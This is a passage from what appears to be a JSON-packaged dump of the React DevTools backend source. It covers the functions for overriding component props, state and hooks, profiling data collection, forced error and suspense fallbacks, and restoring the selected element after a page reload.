instance.forceUpdate();\n              break;\n            case FunctionComponent:\n              // Function components using legacy context are not editable\n              // because there's no instance on which to create a cloned, mutated context.\n              break;\n          }\n          break;\n        case 'hooks':\n          if (typeof overrideHookStateRenamePath === 'function') {\n            overrideHookStateRenamePath(\n              fiber,\n              ((hookID: any): number),\n              oldPath,\n              newPath,\n            );\n          }\n          break;\n        case 'props':\n          switch (fiber.tag) {\n            case ClassComponent:\n              fiber.pendingProps = copyWithRename(\n                instance.props,\n                oldPath,\n                newPath,\n              );\n              instance.forceUpdate();\n              break;\n            default:\n              if (typeof overridePropsRenamePath === 'function') {\n                overridePropsRenamePath(fiber, oldPath, newPath);\n              }\n              break;\n          }\n          break;\n        case 'state':\n          switch (fiber.tag) {\n            case ClassComponent:\n            case IncompleteClassComponent:\n              renamePathInObject(instance.state, oldPath, newPath);\n              instance.forceUpdate();\n              break;\n          }\n          break;\n      }\n    }\n  }\n\n  function overrideValueAtPath(\n    type: 'context' | 'hooks' | 'props' | 'state',\n    id: number,\n    hookID: ?number,\n    path: Array<string | number>,\n    value: any,\n  ): void {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return;\n    }\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Handle VirtualInstance.\n      return;\n    }\n    const fiber = devtoolsInstance.data;\n    if (fiber !== null) {\n      const instance = fiber.stateNode;\n\n      switch (type) {\n        case 'context':\n          // To simplify hydration and display of primitive context values (e.g. number, string)\n          // the inspectElement() method wraps context in a {value: ...} object.\n          // We need to remove the first part of the path (the \"value\") before continuing.\n          path = path.slice(1);\n\n          switch (fiber.tag) {\n            case ClassComponent:\n              if (path.length === 0) {\n                // Simple context value\n                instance.context = value;\n              } else {\n                setInObject(instance.context, path, value);\n              }\n              instance.forceUpdate();\n              break;\n            case FunctionComponent:\n              // Function components using legacy context are not editable\n              // because there's no instance on which to create a cloned, mutated context.\n              break;\n          }\n          break;\n        case 'hooks':\n          if (typeof overrideHookState === 'function') {\n            overrideHookState(fiber, ((hookID: any): number), path, value);\n          }\n          break;\n        case 'props':\n          switch (fiber.tag) {\n            case ClassComponent:\n              fiber.pendingProps = copyWithSet(instance.props, path, value);\n              instance.forceUpdate();\n              break;\n            default:\n              if (typeof overrideProps === 'function') {\n                overrideProps(fiber, path, value);\n              }\n              break;\n          }\n          break;\n        case 'state':\n          switch (fiber.tag) {\n            case ClassComponent:\n            case IncompleteClassComponent:\n              setInObject(instance.state, path, value);\n              instance.forceUpdate();\n              break;\n          }\n          break;\n      }\n    }\n  }\n\n  type CommitProfilingData = {\n    changeDescriptions: Map<number, ChangeDescription> | null,\n    commitTime: number,\n    durations: Array<number>,\n    effectDuration: number | null,\n    maxActualDuration: number,\n    passiveEffectDuration: number | null,\n    priorityLevel: string | null,\n    updaters: Array<SerializedElement> | null,\n  };\n\n  type CommitProfilingMetadataMap = Map<number, Array<CommitProfilingData>>;\n  type DisplayNamesByRootID = Map<number, string>;\n\n  let currentCommitProfilingMetadata: CommitProfilingData | null = null;\n  let displayNamesByRootID: DisplayNamesByRootID | null = null;\n  let initialTreeBaseDurationsMap: Map<number, Array<[number, number]>> | null =\n    null;\n  let isProfiling: boolean = false;\n  let profilingStartTime: number = 0;\n  let recordChangeDescriptions: boolean = false;\n  let recordTimeline: boolean = false;\n  let rootToCommitProfilingMetadataMap: CommitProfilingMetadataMap | null =\n    null;\n\n  function getProfilingData(): ProfilingDataBackend {\n    const dataForRoots: Array<ProfilingDataForRootBackend> = [];\n\n    if (rootToCommitProfilingMetadataMap === null) {\n      throw Error(\n        'getProfilingData() called before any profiling data was recorded',\n      );\n    }\n\n    rootToCommitProfilingMetadataMap.forEach(\n      (commitProfilingMetadata, rootID) => {\n        const commitData: Array<CommitDataBackend> = [];\n\n        const displayName =\n          (displayNamesByRootID !== null && displayNamesByRootID.get(rootID)) ||\n          'Unknown';\n\n        const initialTreeBaseDurations: Array<[number, number]> =\n          (initialTreeBaseDurationsMap !== null &&\n            initialTreeBaseDurationsMap.get(rootID)) ||\n          [];\n\n        commitProfilingMetadata.forEach((commitProfilingData, commitIndex) => {\n          const {\n            changeDescriptions,\n            durations,\n            effectDuration,\n            maxActualDuration,\n            passiveEffectDuration,\n            priorityLevel,\n            commitTime,\n            updaters,\n          } = commitProfilingData;\n\n          const fiberActualDurations: Array<[number, number]> = [];\n          const fiberSelfDurations: Array<[number, number]> = [];\n          for (let i = 0; i < durations.length; i += 3) {\n            const fiberID = durations[i];\n            fiberActualDurations.push([\n              fiberID,\n              formatDurationToMicrosecondsGranularity(durations[i + 1]),\n            ]);\n            fiberSelfDurations.push([\n              fiberID,\n              formatDurationToMicrosecondsGranularity(durations[i + 2]),\n            ]);\n          }\n\n          commitData.push({\n            changeDescriptions:\n              changeDescriptions !== null\n                ? Array.from(changeDescriptions.entries())\n                : null,\n            duration:\n              formatDurationToMicrosecondsGranularity(maxActualDuration),\n            effectDuration:\n              effectDuration !== null\n                ? formatDurationToMicrosecondsGranularity(effectDuration)\n                : null,\n            fiberActualDurations,\n            fiberSelfDurations,\n            passiveEffectDuration:\n              passiveEffectDuration !== null\n                ? formatDurationToMicrosecondsGranularity(passiveEffectDuration)\n                : null,\n            priorityLevel,\n            timestamp: commitTime,\n            updaters,\n          });\n        });\n\n        dataForRoots.push({\n          commitData,\n          displayName,\n          initialTreeBaseDurations,\n          rootID,\n        });\n      },\n    );\n\n    let timelineData = null;\n    if (typeof getTimelineData === 'function') {\n      const currentTimelineData = getTimelineData();\n      if (currentTimelineData) {\n        const {\n          batchUIDToMeasuresMap,\n          internalModuleSourceToRanges,\n          laneToLabelMap,\n          laneToReactMeasureMap,\n          ...rest\n        } = currentTimelineData;\n\n        timelineData = {\n          ...rest,\n\n          // Most of the data is safe to parse as-is,\n          // but we need to convert the nested Arrays back to Maps.\n          // Most of the data is safe to serialize as-is,\n          // but we need to convert the Maps to nested Arrays.\n          batchUIDToMeasuresKeyValueArray: Array.from(\n            batchUIDToMeasuresMap.entries(),\n          ),\n          internalModuleSourceToRanges: Array.from(\n            internalModuleSourceToRanges.entries(),\n          ),\n          laneToLabelKeyValueArray: Array.from(laneToLabelMap.entries()),\n          laneToReactMeasureKeyValueArray: Array.from(\n            laneToReactMeasureMap.entries(),\n          ),\n        };\n      }\n    }\n\n    return {\n      dataForRoots,\n      rendererID,\n      timelineData,\n    };\n  }\n\n  function snapshotTreeBaseDurations(\n    instance: DevToolsInstance,\n    target: Array<[number, number]>,\n  ) {\n    // We don't need to convert milliseconds to microseconds in this case,\n    // because the profiling summary is JSON serialized.\n    if (instance.kind !== FILTERED_FIBER_INSTANCE) {\n      target.push([instance.id, instance.treeBaseDuration]);\n    }\n    for (\n      let child = instance.firstChild;\n      child !== null;\n      child = child.nextSibling\n    ) {\n      snapshotTreeBaseDurations(child, target);\n    }\n  }\n\n  function startProfiling(\n    shouldRecordChangeDescriptions: boolean,\n    shouldRecordTimeline: boolean,\n  ) {\n    if (isProfiling) {\n      return;\n    }\n\n    recordChangeDescriptions = shouldRecordChangeDescriptions;\n    recordTimeline = shouldRecordTimeline;\n\n    // Capture initial values as of the time profiling starts.\n    // It's important we snapshot both the durations and the id-to-root map,\n    // since either of these may change during the profiling session\n    // (e.g. when a fiber is re-rendered or when a fiber gets removed).\n    displayNamesByRootID = new Map();\n    initialTreeBaseDurationsMap = new Map();\n\n    hook.getFiberRoots(rendererID).forEach(root => {\n      const rootInstance = rootToFiberInstanceMap.get(root);\n      if (rootInstance === undefined) {\n        throw new Error(\n          'Expected the root instance to already exist when starting profiling',\n        );\n      }\n      const rootID = rootInstance.id;\n      ((displayNamesByRootID: any): DisplayNamesByRootID).set(\n        rootID,\n        getDisplayNameForRoot(root.current),\n      );\n      const initialTreeBaseDurations: Array<[number, number]> = [];\n      snapshotTreeBaseDurations(rootInstance, initialTreeBaseDurations);\n      (initialTreeBaseDurationsMap: any).set(rootID, initialTreeBaseDurations);\n    });\n\n    isProfiling = true;\n    profilingStartTime = getCurrentTime();\n    rootToCommitProfilingMetadataMap = new Map();\n\n    if (toggleProfilingStatus !== null) {\n      toggleProfilingStatus(true, recordTimeline);\n    }\n  }\n\n  function stopProfiling() {\n    isProfiling = false;\n    recordChangeDescriptions = false;\n\n    if (toggleProfilingStatus !== null) {\n      toggleProfilingStatus(false, recordTimeline);\n    }\n\n    recordTimeline = false;\n  }\n\n  // Automatically start profiling so that we don't miss timing info from initial \"mount\".\n  if (shouldStartProfilingNow) {\n    startProfiling(\n      profilingSettings.recordChangeDescriptions,\n      profilingSettings.recordTimeline,\n    );\n  }\n\n  function getNearestFiber(devtoolsInstance: DevToolsInstance): null | Fiber {\n    if (devtoolsInstance.kind === VIRTUAL_INSTANCE) {\n      let inst: DevToolsInstance = devtoolsInstance;\n      while (inst.kind === VIRTUAL_INSTANCE) {\n        // For virtual instances, we search deeper until we find a Fiber instance.\n        // Then we search upwards from that Fiber. That's because Virtual Instances\n        // will always have an Fiber child filtered or not. If we searched its parents\n        // we might skip through a filtered Error Boundary before we hit a FiberInstance.\n        if (inst.firstChild === null) {\n          return null;\n        }\n        inst = inst.firstChild;\n      }\n      return inst.data.return;\n    } else {\n      return devtoolsInstance.data;\n    }\n  }\n\n  // React will switch between these implementations depending on whether\n  // we have any manually suspended/errored-out Fibers or not.\n  function shouldErrorFiberAlwaysNull() {\n    return null;\n  }\n\n  // Map of Fiber and its force error status: true (error), false (toggled off)\n  const forceErrorForFibers = new Map<Fiber, boolean>();\n\n  function shouldErrorFiberAccordingToMap(fiber: any): boolean | null {\n    if (typeof setErrorHandler !== 'function') {\n      throw new Error(\n        'Expected overrideError() to not get called for earlier React versions.',\n      );\n    }\n\n    let status = forceErrorForFibers.get(fiber);\n    if (status === false) {\n      // TRICKY overrideError adds entries to this Map,\n      // so ideally it would be the method that clears them too,\n      // but that would break the functionality of the feature,\n      // since DevTools needs to tell React to act differently than it normally would\n      // (don't just re-render the failed boundary, but reset its errored state too).\n      // So we can only clear it after telling React to reset the state.\n      // Technically this is premature and we should schedule it for later,\n      // since the render could always fail without committing the updated error boundary,\n      // but since this is a DEV-only feature, the simplicity is worth the trade off.\n      forceErrorForFibers.delete(fiber);\n      if (forceErrorForFibers.size === 0) {\n        // Last override is gone. Switch React back to fast path.\n        setErrorHandler(shouldErrorFiberAlwaysNull);\n      }\n      return false;\n    }\n    if (status === undefined && fiber.alternate !== null) {\n      status = forceErrorForFibers.get(fiber.alternate);\n      if (status === false) {\n        forceErrorForFibers.delete(fiber.alternate);\n        if (forceErrorForFibers.size === 0) {\n          // Last override is gone. Switch React back to fast path.\n          setErrorHandler(shouldErrorFiberAlwaysNull);\n        }\n      }\n    }\n    if (status === undefined) {\n      return null;\n    }\n    return status;\n  }\n\n  function overrideError(id: number, forceError: boolean) {\n    if (\n      typeof setErrorHandler !== 'function' ||\n      typeof scheduleUpdate !== 'function'\n    ) {\n      throw new Error(\n        'Expected overrideError() to not get called for earlier React versions.',\n      );\n    }\n\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      return;\n    }\n    const nearestFiber = getNearestFiber(devtoolsInstance);\n    if (nearestFiber === null) {\n      return;\n    }\n    let fiber = nearestFiber;\n    while (!isErrorBoundary(ReactTypeOfWork, fiber)) {\n      if (fiber.return === null) {\n        return;\n      }\n      fiber = fiber.return;\n    }\n    forceErrorForFibers.set(fiber, forceError);\n    if (fiber.alternate !== null) {\n      // We only need one of the Fibers in the set.\n      forceErrorForFibers.delete(fiber.alternate);\n    }\n    if (forceErrorForFibers.size === 1) {\n      // First override is added. Switch React to slower path.\n      setErrorHandler(shouldErrorFiberAccordingToMap);\n    }\n    if (!forceError && typeof scheduleRetry === 'function') {\n      // If we're dismissing an error and the renderer supports it, use a Retry instead of Sync\n      // This would allow View Transitions to proceed as if the error was dismissed using a Transition.\n      scheduleRetry(fiber);\n    } else {\n      scheduleUpdate(fiber);\n    }\n  }\n\n  function shouldSuspendFiberAlwaysFalse() {\n    return false;\n  }\n\n  const forceFallbackForFibers = new Set<Fiber>();\n\n  function shouldSuspendFiberAccordingToSet(fiber: Fiber): boolean {\n    return (\n      forceFallbackForFibers.has(fiber) ||\n      (fiber.alternate !== null && forceFallbackForFibers.has(fiber.alternate))\n    );\n  }\n\n  function overrideSuspense(id: number, forceFallback: boolean) {\n    if (\n      typeof setSuspenseHandler !== 'function' ||\n      typeof scheduleUpdate !== 'function'\n    ) {\n      throw new Error(\n        'Expected overrideSuspense() to not get called for earlier React versions.',\n      );\n    }\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      return;\n    }\n    const nearestFiber = getNearestFiber(devtoolsInstance);\n    if (nearestFiber === null) {\n      return;\n    }\n    let fiber = nearestFiber;\n    while (fiber.tag !== SuspenseComponent) {\n      if (fiber.return === null) {\n        return;\n      }\n      fiber = fiber.return;\n    }\n\n    if (fiber.alternate !== null) {\n      // We only need one of the Fibers in the set.\n      forceFallbackForFibers.delete(fiber.alternate);\n    }\n    if (forceFallback) {\n      forceFallbackForFibers.add(fiber);\n      if (forceFallbackForFibers.size === 1) {\n        // First override is added. Switch React to slower path.\n        setSuspenseHandler(shouldSuspendFiberAccordingToSet);\n      }\n    } else {\n      forceFallbackForFibers.delete(fiber);\n      if (forceFallbackForFibers.size === 0) {\n        // Last override is gone. Switch React back to fast path.\n        setSuspenseHandler(shouldSuspendFiberAlwaysFalse);\n      }\n    }\n    if (!forceFallback && typeof scheduleRetry === 'function') {\n      // If we're unsuspending and the renderer supports it, use a Retry instead of Sync\n      // to allow for things like View Transitions to proceed the way they would for real.\n      scheduleRetry(fiber);\n    } else {\n      scheduleUpdate(fiber);\n    }\n  }\n\n  /**\n   * Resets the all other roots of this renderer.\n   * @param suspendedSet List of IDs of SuspenseComponent Fibers\n   */\n  function overrideSuspenseMilestone(suspendedSet: Array<FiberInstance['id']>) {\n    if (\n      typeof setSuspenseHandler !== 'function' ||\n      typeof scheduleUpdate !== 'function'\n    ) {\n      throw new Error(\n        'Expected overrideSuspenseMilestone() to not get called for earlier React versions.',\n      );\n    }\n\n    const unsuspendedSet: Set<Fiber> = new Set(forceFallbackForFibers);\n\n    let resuspended = false;\n    for (let i = 0; i < suspendedSet.length; ++i) {\n      const instance = idToDevToolsInstanceMap.get(suspendedSet[i]);\n      if (instance === undefined) {\n        console.warn(\n          `Could not suspend ID '${suspendedSet[i]}' since the instance can't be found.`,\n        );\n        continue;\n      }\n\n      if (instance.kind === FIBER_INSTANCE) {\n        const fiber = instance.data;\n        if (\n          forceFallbackForFibers.has(fiber) ||\n          (fiber.alternate !== null &&\n            forceFallbackForFibers.has(fiber.alternate))\n        ) {\n          // We're already forcing fallback for this fiber. Mark it as not unsuspended.\n          unsuspendedSet.delete(fiber);\n          if (fiber.alternate !== null) {\n            unsuspendedSet.delete(fiber.alternate);\n          }\n        } else {\n          forceFallbackForFibers.add(fiber);\n          // We could find a minimal set that covers all the Fibers in this suspended set.\n          // For now we rely on React's batching of updates.\n          scheduleUpdate(fiber);\n          resuspended = true;\n        }\n      } else {\n        console.warn(`Cannot not suspend ID '${suspendedSet[i]}'.`);\n      }\n    }\n\n    // Unsuspend any existing forced fallbacks if they're not in the new set.\n    unsuspendedSet.forEach(fiber => {\n      forceFallbackForFibers.delete(fiber);\n      if (!resuspended && typeof scheduleRetry === 'function') {\n        // If nothing new resuspended we don't need this to be sync. If we're only\n        // unsuspending then we can schedule this as a Retry if the renderer supports it.\n        // That way we can trigger animations.\n        scheduleRetry(fiber);\n      } else {\n        scheduleUpdate(fiber);\n      }\n    });\n\n    if (forceFallbackForFibers.size > 0) {\n      // First override is added. Switch React to slower path.\n      // TODO: Semantics for suspending a timeline are different. We want a suspended\n      // timeline to act like a first reveal which is relevant for SuspenseList.\n      // Resuspending would not affect rows in SuspenseList\n      setSuspenseHandler(shouldSuspendFiberAccordingToSet);\n    } else {\n      setSuspenseHandler(shouldSuspendFiberAlwaysFalse);\n    }\n  }\n\n  // Remember if we're trying to restore the selection after reload.\n  // In that case, we'll do some extra checks for matching mounts.\n  let trackedPath: Array<PathFrame> | null = null;\n  let trackedPathMatchFiber: Fiber | null = null; // This is the deepest unfiltered match of a Fiber.\n  let trackedPathMatchInstance: FiberInstance | VirtualInstance | null = null; // This is the deepest matched filtered Instance.\n  let trackedPathMatchDepth = -1;\n  let mightBeOnTrackedPath = false;\n\n  function setTrackedPath(path: Array<PathFrame> | null) {\n    if (path === null) {\n      trackedPathMatchFiber = null;\n      trackedPathMatchInstance = null;\n      trackedPathMatchDepth = -1;\n      mightBeOnTrackedPath = false;\n    }\n    trackedPath = path;\n  }\n\n  // We call this before traversing a new mount.\n  // It remembers whether this Fiber is the next best match for tracked path.\n  // The return value signals whether we should keep matching siblings or not.\n  function updateTrackedPathStateBeforeMount(\n    fiber: Fiber,\n    fiberInstance: null | FiberInstance | FilteredFiberInstance,\n  ): boolean {\n    if (trackedPath === null || !mightBeOnTrackedPath) {\n      // Fast path: there's nothing to track so do nothing and ignore siblings.\n      return false;\n    }\n    const returnFiber = fiber.return;\n    const returnAlternate = returnFiber !== null ? returnFiber.alternate : null;\n    // By now we know there's some selection to restore, and this is a new Fiber.\n    // Is this newly mounted Fiber a direct child of the current best match?\n    // (This will also be true for new roots if we haven't matched anything yet.)\n    if (\n      trackedPathMatchFiber === returnFiber ||\n      (trackedPathMatchFiber === returnAlternate && returnAlternate !== null)\n    ) {\n      // Is this the next Fiber we should select? Let's compare the frames.\n      const actualFrame = getPathFrame(fiber);\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      const expectedFrame = trackedPath[trackedPathMatchDepth + 1];\n      if (expectedFrame === undefined) {\n        throw new Error('Expected to see a frame at the next depth.');\n      }\n      if (\n        actualFrame.index === expectedFrame.index &&\n        actualFrame.key === expectedFrame.key &&\n        actualFrame.displayName === expectedFrame.displayName\n      ) {\n        // We have our next match.\n        trackedPathMatchFiber = fiber;\n        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {\n          trackedPathMatchInstance = fiberInstance;\n        }\n        trackedPathMatchDepth++;\n        // Are we out of frames to match?\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        if (trackedPathMatchDepth === trackedPath.length - 1) {\n          // There's nothing that can possibly match afterwards.\n          // Don't check the children.\n          mightBeOnTrackedPath = false;\n        } else {\n          // Check the children, as they might reveal the next match.\n          mightBeOnTrackedPath = true;\n        }\n        // In either case, since we have a match, we don't need\n        // to check the siblings. They'll never match.\n        return false;\n      }\n    }\n    if (trackedPathMatchFiber === null && fiberInstance === null) {\n      // We're now looking for a Virtual Instance. It might be inside filtered Fibers\n      // so we keep looking below.\n      return true;\n    }\n    // This Fiber's parent is on the path, but this Fiber itself isn't.\n    // There's no need to check its children--they won't be on the path either.\n    mightBeOnTrackedPath = false;\n    // However, one of its siblings may be on the path so keep searching.\n    return true;\n  }\n\n  function updateVirtualTrackedPathStateBeforeMount(\n    virtualInstance: VirtualInstance,\n    parentInstance: null | DevToolsInstance,\n  ): boolean {\n    if (trackedPath === null || !mightBeOnTrackedPath) {\n      // Fast path: there's nothing to track so do nothing and ignore siblings.\n      return false;\n    }\n    // Check if we've matched our nearest unfiltered parent so far.\n    if (trackedPathMatchInstance === parentInstance) {\n      const actualFrame = getVirtualPathFrame(virtualInstance);\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      const expectedFrame = trackedPath[trackedPathMatchDepth + 1];\n      if (expectedFrame === undefined) {\n        throw new Error('Expected to see a frame at the next depth.');\n      }\n      if (\n        actualFrame.index === expectedFrame.index &&\n        actualFrame.key === expectedFrame.key &&\n        actualFrame.displayName === expectedFrame.displayName\n      ) {\n        // We have our next match.\n        trackedPathMatchFiber = null; // Don't bother looking in Fibers anymore. We're deeper now.\n        trackedPathMatchInstance = virtualInstance;\n        trackedPathMatchDepth++;\n        // Are we out of frames to match?\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        if (trackedPathMatchDepth === trackedPath.length - 1) {\n          // There's nothing that can possibly match afterwards.\n          // Don't check the children.\n          mightBeOnTrackedPath = false;\n        } else {\n          // Check the children, as they might reveal the next match.\n          mightBeOnTrackedPath = true;\n        }\n        // In either case, since we have a match, we don't need\n        // to check the siblings. They'll never match.\n        return false;\n      }\n    }\n    if (trackedPathMatchFiber !== null) {\n      // We're still looking for a Fiber which might be underneath this instance.\n      return true;\n    }\n    // This Instance's parent is on the path, but this Instance itself isn't.\n    // There's no need to check its children--they won't be on the path either.\n    mightBeOnTrackedPath = false;\n    // However, one of its siblings may be on the path so keep searching.\n    return true;\n  }\n\n  function updateTrackedPathStateAfterMount(\n    mightSiblingsBeOnTrackedPath: boolean,\n  ) {\n    // updateTrackedPathStateBeforeMount() told us whether to match siblings.\n    // Now that we're entering siblings, let's use that information.\n    mightBeOnTrackedPath = mightSiblingsBeOnTrackedPath;\n  }\n\n  // Roots don't have a real persistent identity.\n  // A root's \"pseudo key\" is \"childDisplayName:indexWithThatName\".\n  // For example, \"App:0\" or, in case of similar roots, \"Story:0\", \"Story:1\", etc.\n  // We will use this to try to disambiguate roots when restoring selection between reloads.\n  const rootPseudoKeys: Map<number, string> = new Map();\n  const rootDisplayNameCounter: Map<string, number> = new Map();\n\n  function setRootPseudoKey(id: number, fiber: Fiber) {\n    const name = getDisplayNameForRoot(fiber);\n    const counter = rootDisplayNameCounter.get(name) || 0;\n    rootDisplayNameCounter.set(name, counter + 1);\n    const pseudoKey = `${name}:${counter}`;\n    rootPseudoKeys.set(id, pseudoKey);\n  }\n\n  function removeRootPseudoKey(id: number) {\n    const pseudoKey = rootPseudoKeys.get(id);\n    if (pseudoKey === undefined) {\n      throw new Error('Expected root pseudo key to be known.');\n    }\n    const name = pseudoKey.slice(0, pseudoKey.lastIndexOf(':'));\n    const counter = rootDisplayNameCounter.get(name);\n    if (counter === undefined) {\n      throw new Error('Expected counter to be known.');\n    }\n    if (counter > 1) {\n      rootDisplayNameCounter.set(name, counter - 1);\n    } else {\n      rootDisplayNameCounter.delete(name);\n    }\n    rootPseudoKeys.delete(id);\n  }\n\n  function getDisplayNameForRoot(fiber: Fiber): string {\n    let preferredDisplayName = null;\n    let fallbackDisplayName = null;\n    let child = fiber.child;\n    // Go at most three levels deep into direct children\n    // while searching for a child that has a displayName.\n    for (let i = 0; i < 3; i++) {\n      if (child === null) {\n        break;\n      }\n      const displayName = getDisplayNameForFiber(child);\n      if (displayName !== null) {\n        // Prefer display names that we get from user-defined components.\n        // We want to avoid using e.g. 'Suspense' unless we find nothing else.\n        if (typeof child.type === 'function') {\n          // There's a few user-defined tags, but we'll prefer the ones\n          // that are usually explicitly named (function or class components).\n          preferredDisplayName = displayName;\n        } else if (fallbackDisplayName === null) {\n          fallbackDisplayName = displayName;\n        }\n      }\n      if (preferredDisplayName !== null) {\n        break;\n      }\n      child = child.child;\n    }\n    return preferredDisplayName || fallbackDisplayName || 'Anonymous';\n  }\n\n  function getPathFrame(fiber: Fiber): PathFrame {\n    const {key} = fiber;\n    let displayName = getDisplayNameForFiber(fiber);\n    const index = fiber.index;\n    switch (fiber.tag) {\n      case HostRoot:\n        // Roots don't have a real displayName, index, or key.\n        // Instead, we'll use the pseudo key (childDisplayName:indexWithThatName).\n        const rootInstance = rootToFiberInstanceMap.get(fiber.stateNode);\n        if (rootInstance === undefined) {\n          throw new Error(\n            'Expected the root instance to exist when computing a path',\n          );\n        }\n        const pseudoKey = rootPseudoKeys.get(rootInstance.id);\n        if (pseudoKey === undefined) {\n          throw new Error('Expected mounted root to have known pseudo key.');\n        }\n        displayName = pseudoKey;\n        break;\n      case HostComponent:\n        displayName = fiber.type;\n        break;\n      default:\n        break;\n    }\n    return {\n      displayName,\n      key: key === REACT_OPTIMISTIC_KEY ? null : key,\n      index,\n    };\n  }\n\n  function getVirtualPathFrame(virtualInstance: VirtualInstance): PathFrame {\n    return {\n      displayName: virtualInstance.data.name || '',\n      key:\n        virtualInstance.data.key == null ||\n        virtualInstance.data.key === REACT_OPTIMISTIC_KEY\n          ? null\n          : virtualInstance.data.key,\n      index: -1, // We use -1 to indicate that this is a virtual path frame.\n    };\n  }\n\n  // Produces a serializable representation that does a best effort\n  // of identifying a particular Fiber between page reloads.\n  // The return path will contain Fibers that are \"invisible\" to the store\n  // because their keys and indexes are important to restoring the selection.\n  function getPathForElement(id: number): Array<PathFrame> | null {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      return null;\n    }\n\n    const keyPath = [];\n\n    let inst: DevToolsInstance = devtoolsInstance;\n    while (inst.kind === VIRTUAL_INSTANCE) {\n      keyPath.push(getVirtualPathFrame(inst));\n      if (inst.parent === null) {\n        // This is a bug but non-essential. We should've found a root instance.\n        return null;\n      }\n      inst = inst.parent;\n    }\n\n    let fiber: null | Fiber = inst.data;\n    while (fiber !== null) {\n      // $FlowFixMe[incompatible-call] found when upgrading Flow\n      keyPath.push(getPathFrame(fiber));\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      fiber = fiber.return;\n    }\n    keyPath.reverse();\n    return keyPath;\n  }\n\n  function getBestMatchForTrackedPath(): PathMatch | null {\n    if (trackedPath === null) {\n      // Nothing to match.\n      return null;\n    }\n    if (trackedPathMatchInstance === null) {\n      // We didn't find anything.\n      return null;\n    }\n    return {\n      id: trackedPathMatchInstance.id,\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      isFullMatch: trackedPathMatchDepth === trackedPath.length - 1,\n    };\n  }\n\n  const formatPriorityLevel = (priorityLevel: ?number) => {\n    if (priorityLevel == null) {\n      return 'Unknown';\n    }\n\n    switch (priorityLevel) {\n      case ImmediatePriority:\n        return 'Immediate';\n      case UserBlockingPriority:\n        return 'User-Blocking';\n      case NormalPriority:\n        return 'Normal';\n      case LowPriority:\n        return 'Low';\n      case IdlePriority:\n        return 'Idle';\n      case NoPriority:\n      default:\n        return 'Unknown';\n    }\n  };\n\n  function setTraceUpdatesEnabled(isEnabled: boolean): void {\n    traceUpdatesEnabled = isEnabled;\n  }\n\n  function hasElementWithId(id: number): boolean {\n    return idToDevToolsInstanceMap.has(id);\n  }\n\n  function getSourceForFiberInstance(\n    fiberInstance: FiberInstance,\n  ): ReactFunctionLocation | null {\n    // Favor the owner source if we have one.\n    const ownerSource = getSourceForInstance(fiberInstance);\n    if (ownerSource !== null) {\n      return ownerSource;\n    }\n\n    // Otherwise fallback to the throwing trick.\n    const dispatcherRef = getDispatcherRef(renderer);\n    const stackFrame =\n      dispatcherRef == null\n        ? null\n        : getSourceLocationByFiber(\n            ReactTypeOfWork,\n            fiberInstance.data,\n            dispatcherRef,\n          );\n    if (stackFrame === null) {\n      return null;\n    }\n    const source = extractLocationFromComponentStack(stackFrame);\n    fiberInstance.source = source;\n    return source;\n  }\n\n  function getSourceForInstance(\n    instance: DevToolsInstance,\n  ): ReactFunctionLocation | null {\n    let unresolvedSource = instance.source;\n    if (unresolvedSource === null) {\n      // We don't have any source yet. We can try again later in case an owned child mounts later.\n      // TODO: We won't have any information here if the child is filtered.\n      return null;\n    }\n\n    if (instance.kind === VIRTUAL_INSTANCE) {\n      // We might have found one on the virtual instance.\n      const debugLocation = instance.data.debugLocation;\n      if (debugLocation != null) {\n        unresolvedSource = debugLocation;\n      }\n    }\n\n    // If we have the debug stack (the creation stack of the JSX) for any owned child of this\n    // component, then at the bottom of that stack will be a stack frame that is somewhere within\n    // the component's function body. Typically it would be the callsite of the JSX unless there's\n    // any intermediate utility functions. This won't point to the top of the component function\n    // but it's at least somewhere within it.\n    if (isError(unresolvedSource)) {\n      return (instance.source = extractLocationFromOwnerStack(\n        (unresolvedSource: any),\n      ));\n    }\n    if (typeof unresolvedSource === 'string') {\n      const idx = unresolvedSource.lastIndexOf('\\n');\n      const lastLine =\n        idx === -1 ? unresolvedSource : unresolvedSource.slice(idx + 1);\n      return (instance.source = extractLocationFromComponentStack(lastLine));\n    }\n\n    // $FlowFixMe: refined.\n    return unresolvedSource;\n  }\n\n  return {\n    cleanup,\n    clearErrorsAndWarnings,\n    clearErrorsForElementID,\n    clearWarningsForElementID,\n    getSerializedElementValueByPath,\n    deletePath,\n    findHostInstancesForElementID,\n    findLastKnownRectsForID,\n    flushInitialOperations,\n    getBestMatchForTrackedPath,\n    getDisplayNameForElementID,\n    getNearestMountedDOMNode,\n    getElementIDForHostInstance,\n    getSuspenseNodeIDForHostInstance,\n    getInstanceAndStyle,\n    getOwnersList,\n    getPathForElement,\n    getProfilingData,\n    handleCommitFiberRoot,\n    handleCommitFiberUnmount,\n    handlePostCommitFiberRoot,\n    hasElementWithId,\n    inspectElement,\n    logElementToConsole,\n    getComponentStack,\n    getElementAttributeByPath,\n    getElementSourceFunctionById,\n    onErrorOrWarning,\n    overrideError,\n    overrideSuspense,\n    overrideSuspenseMilestone,\n    overrideValueAtPath,\n    renamePath,\n    renderer,\n    setTraceUpdatesEnabled,\n    setTrackedPath,\n    startProfiling,\n    stopProfiling,\n    storeAsGlobal,\n    supportsTogglingSuspense,\n    updateComponentFilters,\n    getEnvironmentNames,\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberChangeDetection.js",
